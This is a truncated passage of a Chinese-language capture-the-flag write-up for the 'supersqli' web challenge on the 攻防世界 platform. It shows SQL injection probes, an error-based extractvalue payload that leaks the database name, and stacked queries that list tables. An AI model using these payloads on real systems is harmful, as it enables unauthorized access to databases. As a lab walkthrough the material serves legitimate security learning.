攻防世界web进阶区之supersqli

打开题目所给链接：首先我们先探测其有无注入: 1’ 报错 1’# 正常且为True 1’ and 1=1# 正常且为True 1’ and 1=2# 正常且为False 所以它里边存在注入。 用1’ or extractvalue(rand(),concat(0x7e,database())) #爆出数据库名： 用0’; use supersqli; show tables;爆出表明：用0’; u

>>阅读原文<<